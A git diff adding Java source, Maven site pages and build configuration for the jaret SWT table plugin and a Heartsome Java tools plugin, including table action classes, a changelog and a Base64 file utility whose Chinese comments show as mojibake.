TableItem item = _chkBoxViewer.getTable().getItem(_chkBoxViewer.getTable().getSelectionIndex()); + IColumn col = (IColumn) item.getData(); + int idx = _tvs.getSortedColumns().indexOf(col); + if (idx < _tvs.getSortedColumns().size() - 1) { + _tvs.getSortedColumns().remove(col); + _tvs.getSortedColumns().add(idx + 1, col); + _table.updateColumnList(); + _table.redraw(); + _chkBoxViewer.refresh(); + } + } + } + + public void widgetDefaultSelected(SelectionEvent arg0) { + } + + }); + + return panel; + } + + /** + * Content provider for the table viewer. + * + * @author kliem + * @version $Id: ConfigureColumnsAction.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ + public class ColTableContentProvider implements IStructuredContentProvider { + /** + * {@inheritDoc} + */ + public Object[] getElements(Object element) { + Object[] kids = null; + java.util.List l = _table.getTableViewState().getSortedColumns(); + kids = l.toArray(); + return kids; + } + + /** + * {@inheritDoc} + */ + public void dispose() { + } + + /** + * {@inheritDoc} + */ + public void inputChanged(Viewer viewer, Object oldObject, Object newObject) { + } + } + + /** + * Labelprovider for the table viewer. + * + * @author kliem + * @version $Id: ConfigureColumnsAction.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ + public class ColTableLabelProvider implements ITableLabelProvider { + /** + * {@inheritDoc} + */ + public String getColumnText(Object obj, int i) { + String result; + IColumn column = (IColumn) obj; + int idx = _tvs.getSortedColumns().indexOf(column); + switch (i) { + case 0: + result = column.getHeaderLabel(); + if (!_allowFixedColumns && idx < _table.getFixedColumns()) { + result+="(fixed)"; + } + break; + default: + result = "error - unknow column"; + break; + } + return result; + } + + /** + * {@inheritDoc} + */ + public void addListener(ILabelProviderListener ilabelproviderlistener) { + } + + /** + * {@inheritDoc} + */ + public void dispose() { + } + + /** + * {@inheritDoc} + */ + public boolean isLabelProperty(Object obj, String s) { + return false; + } + + /** + * {@inheritDoc} + */ + public void removeListener(ILabelProviderListener ilabelproviderlistener) { + } + + /** + * {@inheritDoc} + */ + public Image getColumnImage(Object arg0, int arg1) { + return null; + } + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/JaretTableActionFactory.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/JaretTableActionFactory.java new file mode 100644 index 0000000..4fe6d61 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/JaretTableActionFactory.java @@ -0,0 +1,60 @@ +/* + * File: JaretTableActionFactory.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.util.action; + +import java.util.HashMap; +import java.util.Map; + +import org.eclipse.jface.action.Action; + +import de.jaret.util.ui.table.JaretTable; + +/** + * Utility ActionFactory for the jaret table, producing actions for some common tasks to accomodate on a jaret table. + * + * @author Peter Kliem + * @version $Id: JaretTableActionFactory.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class JaretTableActionFactory { + /** + * Constant denoting the configure columns action. + */ + public static final String ACTION_CONFIGURECOLUMNS = "jarettable.configurecolumns"; + public static final String ACTION_OPTROWHEIGHT = "jarettable.optimizerowheigth"; + public static final String ACTION_OPTALLROWHEIGHTS = "jarettable.optimizeallrowheights"; + + protected Map _actionMap; + + public Action createStdAction(JaretTable table, String name) { + if (_actionMap == null) { + _actionMap = new HashMap(); + } + Action result = _actionMap.get(name); + if (result != null) { + return result; + } + if (name.equals(ACTION_CONFIGURECOLUMNS)) { + result = new ConfigureColumnsAction(table); + } else if (name.equals(ACTION_OPTROWHEIGHT)) { + result = new OptimizeRowHeightAction(table); + } else if (name.equals(ACTION_OPTALLROWHEIGHTS)) { + result = new OptimizeAllRowHeightsAction(table); + } else if (name.equals("s")) { + result = null; + } + + if (result != null) { + _actionMap.put(name, result); + } + return result; + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/OptimizeAllRowHeightsAction.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/OptimizeAllRowHeightsAction.java new file mode 100644 index 0000000..487197d --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/OptimizeAllRowHeightsAction.java @@ -0,0 +1,51 @@ +/* + * File: OptimizeAllRowHeightsAction.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.util.action; + +import org.eclipse.jface.action.Action; + +import de.jaret.util.ui.table.JaretTable; + +/** + * Action that registers all rows of the model for optimization of the row height. + * + * @author Peter Kliem + * @version $Id: OptimizeAllRowHeightsAction.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class OptimizeAllRowHeightsAction extends Action { + /** tbale the action has been constructed for. */ + protected JaretTable _table; + + /** + * Construct the action. + * + * @param table table to operate on + */ + public OptimizeAllRowHeightsAction(JaretTable table) { + _table = table; + } + + /** + * {@inheritDoc} call optimize height for all rows of the table. + */ + public void run() { + for (int i = 0; i < _table.getTableModel().getRowCount(); i++) { + _table.optimizeHeight(_table.getTableModel().getRow(i)); + } + } + + /** + * {@inheritDoc} + */ + public String getText() { + return "Optimal row heights for all rows"; + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/OptimizeRowHeightAction.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/OptimizeRowHeightAction.java new file mode 100644 index 0000000..f4284b2 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/action/OptimizeRowHeightAction.java @@ -0,0 +1,46 @@ +/* + * File: OptimizeRowHeightAction.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.util.ui.table.util.action; + +import org.eclipse.jface.action.Action; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.IJaretTableSelection; +import de.jaret.util.ui.table.model.IRow; + +/** + * Action that registers all selected rows for optimization of their respective heights. + * + * @author Peter Kliem + * @version $Id: OptimizeRowHeightAction.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class OptimizeRowHeightAction extends Action { + protected JaretTable _table; + + public OptimizeRowHeightAction(JaretTable table) { + _table = table; + } + + @Override + public void run() { + IJaretTableSelection selection = _table.getSelectionModel().getSelection(); + if (!selection.isEmpty() && selection.getSelectedRows().size() > 0) { + for (IRow row : selection.getSelectedRows()) { + _table.optimizeHeight(row); + } + } + } + + @Override + public String getText() { + return "Optimal row height"; + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/package.html b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/package.html new file mode 100644 index 0000000..da2b3bb --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/util/ui/table/util/package.html @@ -0,0 +1,6 @@ + +

    +This package contains a utility classes to adapt the jaret table for better use with JFace and the workbench. This package contains classes +that depend on JFace. If you are not using JFace remove the classes from this package to be dependent on SWT only. +

    + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/main/assembly/binassembly.xml b/base_plugins/de.jaret.util.ui.table/src/main/assembly/binassembly.xml new file mode 100644 index 0000000..6b6a64c --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/main/assembly/binassembly.xml @@ -0,0 +1,24 @@ + + + bin + + zip + + + + + README* + LICENSE* + NOTICE* + + + + target + + *.jar + + + + diff --git a/base_plugins/de.jaret.util.ui.table/src/main/assembly/srcassembly.xml b/base_plugins/de.jaret.util.ui.table/src/main/assembly/srcassembly.xml new file mode 100644 index 0000000..c705db1 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/main/assembly/srcassembly.xml @@ -0,0 +1,31 @@ + + src + + zip + + + + + README* + LICENSE* + NOTICE* + pom.xml + .project + .classpath + + + + + src/**/* + + + src/**/*.zip + + + + META-INF + + + \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/site/resources/images/hierarchy.gif b/base_plugins/de.jaret.util.ui.table/src/site/resources/images/hierarchy.gif new file mode 100644 index 0000000..7ccd688 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/site/resources/images/hierarchy.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/site/resources/images/monthview.png b/base_plugins/de.jaret.util.ui.table/src/site/resources/images/monthview.png new file mode 100644 index 0000000..ff7f6ae Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/site/resources/images/monthview.png differ diff --git a/base_plugins/de.jaret.util.ui.table/src/site/resources/images/multilinelist.gif b/base_plugins/de.jaret.util.ui.table/src/site/resources/images/multilinelist.gif new file mode 100644 index 0000000..720df68 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/site/resources/images/multilinelist.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/site/resources/images/tableexample.gif b/base_plugins/de.jaret.util.ui.table/src/site/resources/images/tableexample.gif new file mode 100644 index 0000000..c9b5861 Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/site/resources/images/tableexample.gif differ diff --git a/base_plugins/de.jaret.util.ui.table/src/site/resources/jaret_web.jpg b/base_plugins/de.jaret.util.ui.table/src/site/resources/jaret_web.jpg new file mode 100644 index 0000000..59f62ad Binary files /dev/null and b/base_plugins/de.jaret.util.ui.table/src/site/resources/jaret_web.jpg differ diff --git a/base_plugins/de.jaret.util.ui.table/src/site/site.xml b/base_plugins/de.jaret.util.ui.table/src/site/site.xml new file mode 100644 index 0000000..d88b617 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/site/site.xml @@ -0,0 +1,31 @@ + + + + jaret table + jaret_web.jpg + http://www.jaret.de/ + + + + + + + + + + + + + + + + + + +${reports} + + + diff --git a/base_plugins/de.jaret.util.ui.table/src/site/xdoc/changelog.xml b/base_plugins/de.jaret.util.ui.table/src/site/xdoc/changelog.xml new file mode 100644 index 0000000..5308d30 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/site/xdoc/changelog.xml @@ -0,0 +1,261 @@ + + + Peter Kliem + jaret table changelog + + +
    + +
      +
    • + Default header renderer: improved settings +
    • +
    • + New example: month view (to be found in the timebars.addon package!) +
    • +
    +
    + +
      +
    • + Reflected small change in the datechooser component +
    • +
    • + Corrected some bugs that got apparnet when adding/removing nodes in a hierarchical models that have children and are expanded. +
    • +
    • + Added a very simple DND routine to the TableHierarchicalModel (move only, drag on hierarchy tree; enable in the source code!). +
    • +
    +
    + +
      +
    • + Still a snapshot version (but approaching a stable state) +
    • +
    • + Reflected small refactoring in the datechooser component +
    • +
    +
    + +
      +
    • + Still a snapshot version (but approaching a stable state) +
    • +
    • + Fixed the scroll optimizations (hopefully). If you encounter artefacts while doing scroll operations, disable the optimizations. + OptimizeScrolling now defaults to ENABLED. +
    • +
    • + Improved prpoerty observation to support synchronizing with a timebar viewer +
    • +
    • + Fixed a small bug when scrolling while displaying autofilter components (sometimes components remained visible) +
    • +
    • + Fixed the building of the jar: resources have no tbeen included (Thanks Dmytro!). +
    • +
    +
    + +
      +
    • + Still a snapshot version (but approaching a stable state) +
    • +
    • + More Enhancements to the documentation, more code cleanup. +
    • +
    • + Included scroll optimizations: seems to work fine on windows but fails with Linux and OSX -> default disabled +
    • +
    • + New class IndexColumn for displaying a row header containing the index in the rowlist of the table. +
    • +
    • + Added convenience methods to the CellStyleProvider making it much easier to deal with styles (simply set colors + on cells without handling the CellStyles itself). Also added the possibility to add a strategy for providing + styles. This supports alternate coloring of the background or highlighting rows/columns depending + on their respective contents. +
    • +
    • + New cell renderer using an ILabelProvider for text conversion +
    • +
    • + Moved the autofilter definition to be configurable. Now it is possible to implement custom autofilters (see the TableExmaple + for two special implementations). +
    • +
    • + lots of small bugfixes and enhancements. +
    • +
    • + improved addon package +
    • + +
    +
    + +
      +
    • + Still a snapshot version (but approaching a stable state) +
    • +
    • + Enhancements to the documentation, code cleanup. +
    • + +
    +
    + +
      +
    • + Still a snapshot version +
    • +
    • + Small enhancements to editing (focus change after edit stop, tab moves focus right) +
    • +
    • + Some enhancements concerning thread safety (access from non gui threads) +
    • +
    • + PropCol now supports property paths for property access +
    • +
    • + Fixed little redraw bug that occurred when removing rows +
    • +
    • + New renderer: Object instance to image (i.e. for enum instances) +
    • +
    • + New renderer: Class to image (i.e. for lists of different object types) +
    • +
    • + Improved renderer/editor lookup to support interfaces and superclasses +
    • +
    • + Added the SimpleJaretTableModel: quick use of the jaret table possible with this model. Example is SimleModelExample +
    • + +
    +
    + +
      +
    • + Still a snapshot version +
    • +
    • + Worked on the selection (dragging, keyboard control) -- still not 100% perfect but near to excel +
    • +
    • + Added support for cut/copy/paste (implemented in a strategy) +
    • +
    • + Improved parts of the javadoc +
    • +
    • + Improved the example by adding a new fancy renderer/editor. +
    • +
    • + Added support for a fill drag (dragging a little box and use a strategy - default: copy - to fill cells; + implementation pattern is a strategy) +
    • +
    • + Changed build to SWT 3.2 (will most probably continue to work with 3.1) +
    • +
    +
    + +
      +
    • + Still a snapshot version +
    • +
    • + Added an editor using a combobox to select one of a list of objects +
    • +
    • + further improved handling of hierarchical models (keyboard control, rendering, selection) +
    • +
    • + introduced utils: ISelectionProvider adapter +
    • +
    • + refactored the standard actions out of the table (->util.actions) +
    • +
    +
    + +
      +
    • + Still a snapshot version +
    • +
    • + First version that can be considered to be seriously used. However testing the application is highly recommended. +
    • +
    • + RowHeigth modes now fully supported: OPTIMAL will always set the row height to an optimal value, OPTANDVAR uses optimal height unless + first manual change occurred, FIXED and VARIABLE are self explanatory. +
    • +
    • + Added support for different column resize modes. +
    • +
    • + Added a combox cell editor for enumerations, an integer editor using a spinner, a double editor and a smiley renderer (fun) +
    • +
    • + Revisited the hierarchical mode and enhanced it +
    • +
    • + Cleared some todos and bugs (read only cells) +
    • +
    • + Added extra package supporting saving of the viewstate in an IMemento +
    • +
    • + Did a quick test on MacOSX, see status +
    • +
    +
    + +
      +
    • + Ongoing work. Version 0.61 is a snapshot only. +
    • +
    • + Cared for the cell editors and multi line rendering. See JavaDoc of the editors for details. +
    • +
    +
    + +
      +
    • + Ongoing work. Version 0.6 is a snapshot only. Many changes; some documented here +
    • +
    • + Changed license from GPL to CPL +
    • +
    • + did a lot refactoring +
    • + +
    • + RowFilter and RowSorter are now PropertyObservables (extend PropertyObservableBase when implementing or for inner classes + extend AbstractRow*). +
    • +
    +
    + +
      +
    • + Ongoing work. Still unstable. And: too many changes to document. +
    • +
    +
    + +
      +
    • + Initial publication. +
    • +
    +
    +
    + +
    \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/site/xdoc/index.xml b/base_plugins/de.jaret.util.ui.table/src/site/xdoc/index.xml new file mode 100644 index 0000000..5310172 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/site/xdoc/index.xml @@ -0,0 +1,136 @@ + + + Peter Kliem + jaret table + + + + + +
    +

    + The jaret table is a custom drawn table for the SWT gui toolkit. The native tables available in swt do + lack some functionality and flexibility. +

    +

    NOTE: + The SWT team added support for custom drawing, multiline text to the native SWT table. This might solve a lot of + the most common problems. See the documentation of the SWT table!. +

    +

    + NOTE:If you are interested in alternative tables for SWT be sure to check KTable. + KTable is a another custom drawn table for SWT (EPL) that is out there for some time. The jaret table has been developed due two several reasons. + Those include separation of data model and viewstate + and support for different row heights. Also look for the nebula project which includes the + nebula grid and the component table that allow for flexible visualizations. +

    +

    + However, do consider using the native table supplied by SWT. This is the strength of SWT and your application will be conforming + to the platform look and feel. If you use a custom drawn widget it is up to you ... +

    +

    If you like you can comment and rate the jaret table at + Eclipse Plugin Central. +

    + +

    + Features include: +

      +
    • + Split model (data and viewstate). +
    • +
    • + Renderers and editors (including print rendering) +
    • +
    • + Different row heights and column widths (draggable) +
    • +
    • + fixed rows and columns (row header) +
    • +
    • + simple drag fill (like excel) +
    • +
    • + default cut/copy/paste works against excel +
    • +
    • + integrated filtering (autofilter-style, customizable) and sorting (does not sort the model) +
    • +
    • + support for a hierarchical model (table tree) +
    • +
    • + addons supporting saving the viewstate in an IMemento (and in future some other RCP related utilities) +
    • +
    +

    + + The geexel plugin can be seen as test code for the jaret table (very outdated JaretTable version). + + +

    + The package is licensed under the Common Public License 1.0 (CPL) (see LICENSE) allowing + the usage in other projects. It can optionally be used under th GPL for compatability with GPLed projects. + If you are interested in a commercial license contact info@jaret.de. +

    +
    + +

    + There are several different packages available for download (please note that you need the jaretutils as well): +

    + + + + + + + + + + + + + +
    + jarettable-0.85-src.zip + + Contains the complete project. Including some examples. Recommeded download. Depends on jaret.util package and the + jaret datechooser (this is only needed for the date cell editor and the dependency can be removed easily). +
    + jarettable-0.85-bin.zip + + Contains ready built jar. +
    + jarettable.addon page + + Contains addons for the jaret table. +
    +

    + View the javadoc here. +

    +
    + +

    + There are some screenshots available here. +

    +
    + +

    + The jaret table is in early beta stage! + However: This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +

    +

    + The jaret table should run on every platform supporting Java 1.5 and SWT. The main testing of the SWT + component was done on Win32. Some tests have been performed on Linux with the GTK+ version of SWT. Due to the + nature of the SWT toolkit it can not be guaranteed that the component will work on all platforms. Additional tests + are planned; feedback is welcome. +

    +
    + +

    + This component is not free of bugs. Please report bugs to info@jaret.de. +

    +
    +
    + +
    \ No newline at end of file diff --git a/base_plugins/de.jaret.util.ui.table/src/site/xdoc/status.xml b/base_plugins/de.jaret.util.ui.table/src/site/xdoc/status.xml new file mode 100644 index 0000000..11afc01 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/site/xdoc/status.xml @@ -0,0 +1,50 @@ + + + Peter Kliem + jaret table status + + +
    +

    This page contains information about the current state of the distribution and future plans.

    + + +
      +
    • + Jaret table is work in progress. +
    • +
    + +
    + +
      +
    • + win XP is the main development +
    • +
    • + OSX intel: checked basic functionality +
    • +
    • + Linux GTK: checked basic functionality +
    • + +
    + +
    + +
      +
    • + revisit and correct printing +
    • +
    • + check merged/spanned cells +
    • +
    • + visual enhancements (lots of things todo) +
    • +
    + +
    + +
    + +
    diff --git a/base_plugins/de.jaret.util.ui.table/src/site/xdoc/table_screenshots.xml b/base_plugins/de.jaret.util.ui.table/src/site/xdoc/table_screenshots.xml new file mode 100644 index 0000000..ac34fc5 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/site/xdoc/table_screenshots.xml @@ -0,0 +1,29 @@ + + + Peter Kliem + jaret table screenshots + + +
    +

    + Jarettable in action. +

    +

    + +

    +

    + Jarettable in action (hierarchical model). +

    +

    + +

    +

    + Tweaked rendering showing a month view. This is taken from the calendar example located in the timebars.addon package (since it + also uses the timebars) +

    +

    + +

    +
    + +
    \ No newline at end of file diff --git a/base_plugins/heartsome.java.tools.plugin/.classpath b/base_plugins/heartsome.java.tools.plugin/.classpath new file mode 100644 index 0000000..ea9ebb7 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/.classpath @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + diff --git a/base_plugins/heartsome.java.tools.plugin/.project b/base_plugins/heartsome.java.tools.plugin/.project new file mode 100644 index 0000000..c368e3a --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/.project @@ -0,0 +1,28 @@ + + + heartsome.java.tools.plugin + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/base_plugins/heartsome.java.tools.plugin/.settings/org.eclipse.jdt.core.prefs b/base_plugins/heartsome.java.tools.plugin/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..b582910 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Tue Jun 15 10:19:23 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/base_plugins/heartsome.java.tools.plugin/META-INF/MANIFEST.MF b/base_plugins/heartsome.java.tools.plugin/META-INF/MANIFEST.MF new file mode 100644 index 0000000..6b90dc2 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/META-INF/MANIFEST.MF @@ -0,0 +1,31 @@ +Manifest-Version: 1.0 +Eclipse-BuddyPolicy: registered +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome Java Tools +Bundle-SymbolicName: heartsome.java.tools.plugin +Bundle-Version: 8.0.0.R8b_v20121025 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Bundle-ClassPath: ., + lib/activation.jar, + lib/commons-codec-1.3.jar, + lib/commons-email-1.2.jar, + lib/hslibrary.jar, + lib/jsse.jar, + lib/mail.jar, + lib/nekohtml.jar, + lib/xercesImpl.jar +Export-Package: cn.org.tools.utils.constant, + cn.org.tools.utils.date, + cn.org.tools.utils.encrypt, + cn.org.tools.utils.file, + cn.org.tools.utils.mail, + cn.org.tools.utils.math, + cn.org.tools.utils.regexp, + cn.org.tools.utils.string, + javax.mail, + javax.mail.event, + javax.mail.internet, + javax.mail.search, + javax.mail.util, + org.apache.commons.mail +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/base_plugins/heartsome.java.tools.plugin/build.properties b/base_plugins/heartsome.java.tools.plugin/build.properties new file mode 100644 index 0000000..27dfcb8 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/build.properties @@ -0,0 +1,15 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + lib/activation.jar,\ + lib/commons-codec-1.3.jar,\ + lib/commons-email-1.2.jar,\ + lib/hslibrary.jar,\ + lib/jsse.jar,\ + lib/mail.jar,\ + lib/nekohtml.jar,\ + lib/xercesImpl.jar + + diff --git a/base_plugins/heartsome.java.tools.plugin/lib/activation.jar b/base_plugins/heartsome.java.tools.plugin/lib/activation.jar new file mode 100644 index 0000000..29a59a9 Binary files /dev/null and b/base_plugins/heartsome.java.tools.plugin/lib/activation.jar differ diff --git a/base_plugins/heartsome.java.tools.plugin/lib/commons-codec-1.3.jar b/base_plugins/heartsome.java.tools.plugin/lib/commons-codec-1.3.jar new file mode 100644 index 0000000..957b675 Binary files /dev/null and b/base_plugins/heartsome.java.tools.plugin/lib/commons-codec-1.3.jar differ diff --git a/base_plugins/heartsome.java.tools.plugin/lib/commons-email-1.2.jar b/base_plugins/heartsome.java.tools.plugin/lib/commons-email-1.2.jar new file mode 100644 index 0000000..f085975 Binary files /dev/null and b/base_plugins/heartsome.java.tools.plugin/lib/commons-email-1.2.jar differ diff --git a/base_plugins/heartsome.java.tools.plugin/lib/hslibrary.jar b/base_plugins/heartsome.java.tools.plugin/lib/hslibrary.jar new file mode 100644 index 0000000..c026aef Binary files /dev/null and b/base_plugins/heartsome.java.tools.plugin/lib/hslibrary.jar differ diff --git a/base_plugins/heartsome.java.tools.plugin/lib/jsse.jar b/base_plugins/heartsome.java.tools.plugin/lib/jsse.jar new file mode 100644 index 0000000..b283f1f Binary files /dev/null and b/base_plugins/heartsome.java.tools.plugin/lib/jsse.jar differ diff --git a/base_plugins/heartsome.java.tools.plugin/lib/mail.jar b/base_plugins/heartsome.java.tools.plugin/lib/mail.jar new file mode 100644 index 0000000..5954377 Binary files /dev/null and b/base_plugins/heartsome.java.tools.plugin/lib/mail.jar differ diff --git a/base_plugins/heartsome.java.tools.plugin/lib/nekohtml.jar b/base_plugins/heartsome.java.tools.plugin/lib/nekohtml.jar new file mode 100644 index 0000000..5b61ccf Binary files /dev/null and b/base_plugins/heartsome.java.tools.plugin/lib/nekohtml.jar differ diff --git a/base_plugins/heartsome.java.tools.plugin/lib/xercesImpl.jar b/base_plugins/heartsome.java.tools.plugin/lib/xercesImpl.jar new file mode 100644 index 0000000..547f563 Binary files /dev/null and b/base_plugins/heartsome.java.tools.plugin/lib/xercesImpl.jar differ diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/code/Base64Utils.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/code/Base64Utils.java new file mode 100644 index 0000000..514d989 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/code/Base64Utils.java @@ -0,0 +1,139 @@ +/** + * Base64Utils.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.code; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; + +import org.apache.commons.codec.binary.Base64; + +/** + * 对文件进行 Base64 ç¼–ç /解ç çš„工具类. + * @author Terry + * @version + * @since JDK1.6 + */ +public class Base64Utils { + + /** 缓冲区大å°ï¼Œå•ä½æ˜¯ KB. */ + private int buffer; + + /** + * 构造方法. + */ + public Base64Utils() { + this(1); + } + + /** + * 构造方法. + * @param buffer + * ç¼“å†²åŒºå¤§å° + */ + public Base64Utils(int buffer) { + this.buffer = buffer; + } + + /** + * 对文件加密. + * @param inFile + * è¦åŠ å¯†çš„文件 + * @param outFile + * 加密åŽçš„文件 + * @throws IOException + * Signals that an I/O exception has occurred. + */ + public void encode(File inFile, File outFile) throws IOException { + if (!inFile.exists()) { + return; + } + FileInputStream fis; + fis = new FileInputStream(inFile); + FileOutputStream fos = new FileOutputStream(outFile); + encode(fis, fos); + fis.close(); + fos.close(); + } + + /** + * 对文件加密. + * @param fis + * 文件输入æµï¼Œç”¨äºŽè¯»å…¥æºæ–‡ä»¶ + * @param fos + * 文件输出æµï¼Œç”¨äºŽåŠ å¯†åŽå†™å…¥æ–‡ä»¶ + * @throws IOException + * Signals that an I/O exception has occurred. + */ + public void encode(FileInputStream fis, FileOutputStream fos) throws IOException { + byte[] buf = new byte[buffer * 1024 * 3]; + byte[] write = null; + int i = 0; + while ((i = fis.read(buf)) != -1) { + if (i < buf.length) { + byte[] temp = new byte[i]; + System.arraycopy(buf, 0, temp, 0, i); + //对字节数组中指定的内容执行Base64 ç¼–ç  + write = Base64.encodeBase64(temp); + } else { + write = Base64.encodeBase64(buf); + } + fos.write(write, 0, write.length); + } + } + + /** + * 对文件解密. + * @param inFile + * è¦è§£å¯†çš„文件 + * @param outFile + * 解密åŽçš„文件 + * @throws IOException + * Signals that an I/O exception has occurred. + */ + public void decode(File inFile, File outFile) throws IOException { + if (!inFile.exists()) { + return; + } + FileInputStream fis; + fis = new FileInputStream(inFile); + FileOutputStream fos = new FileOutputStream(outFile); + decode(fis, fos); + fis.close(); + fos.close(); + } + + /** + * 对文件解密. + * @param fis + * 文件输入æµï¼Œç”¨äºŽè¯»å…¥æºæ–‡ä»¶ + * @param fos + * 文件输出æµï¼Œç”¨äºŽè§£å¯†åŽå†™å…¥æ–‡ä»¶ + * @throws IOException + * Signals that an I/O exception has occurred. + */ + public void decode(FileInputStream fis, FileOutputStream fos) throws IOException { + byte[] buf = new byte[buffer * 1024 * 4]; + byte[] write = null; + int i = 0; + while ((i = fis.read(buf)) != -1) { + if (i < buf.length) { + byte[] temp = new byte[i]; + System.arraycopy(buf, 0, temp, 0, i); + //对字节数组中指定的内容执行 Base64 è§£ç  + write = Base64.decodeBase64(temp); + } else { + write = Base64.decodeBase64(buf); + } + fos.write(write, 0, write.length); + } + } +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/constant/Constants.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/constant/Constants.java new file mode 100644 index 0000000..1398a30 --- /dev/null +++ b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/constant/Constants.java @@ -0,0 +1,44 @@ +/** + * Constants.java + * + * Version information : + * + * Date:Jan 13, 2010 + * + * Copyright notice : + */ +package cn.org.tools.utils.constant; + +/** + * The Class Constants. + * @author Terry + * @version + * @since JDK1.6 + */ +public class Constants { + + /** + * 构造方法. + */ + protected Constants() { + throw new UnsupportedOperationException(); // prevents calls from subclass + } + + /** The DEBUG. */ + public static final boolean DEBUG = true; + + /** The DATABAS e_ type. */ + public static final int DATABASE_TYPE = 0; + + /** The Constant DATABASE_TYPE_MYSQL. */ + public static final int DATABASE_TYPE_MYSQL = 0; + + /** The Constant DATABASE_TYPE_MSSQL. */ + public static final int DATABASE_TYPE_MSSQL = 1; + + /** The Constant DATABASE_TYPE_OROCALE. */ + public static final int DATABASE_TYPE_OROCALE = 2; + + /** The Constant DATABASE_TYPE_CONFIG. */ + public static final String DATABASE_TYPE_CONFIG = "mysql"; +} diff --git a/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/date/DateUtilsBasic.java b/base_plugins/heartsome.java.tools.plugin/src/cn/org/tools/utils/date/DateUtilsBasic.java new file mode 100644 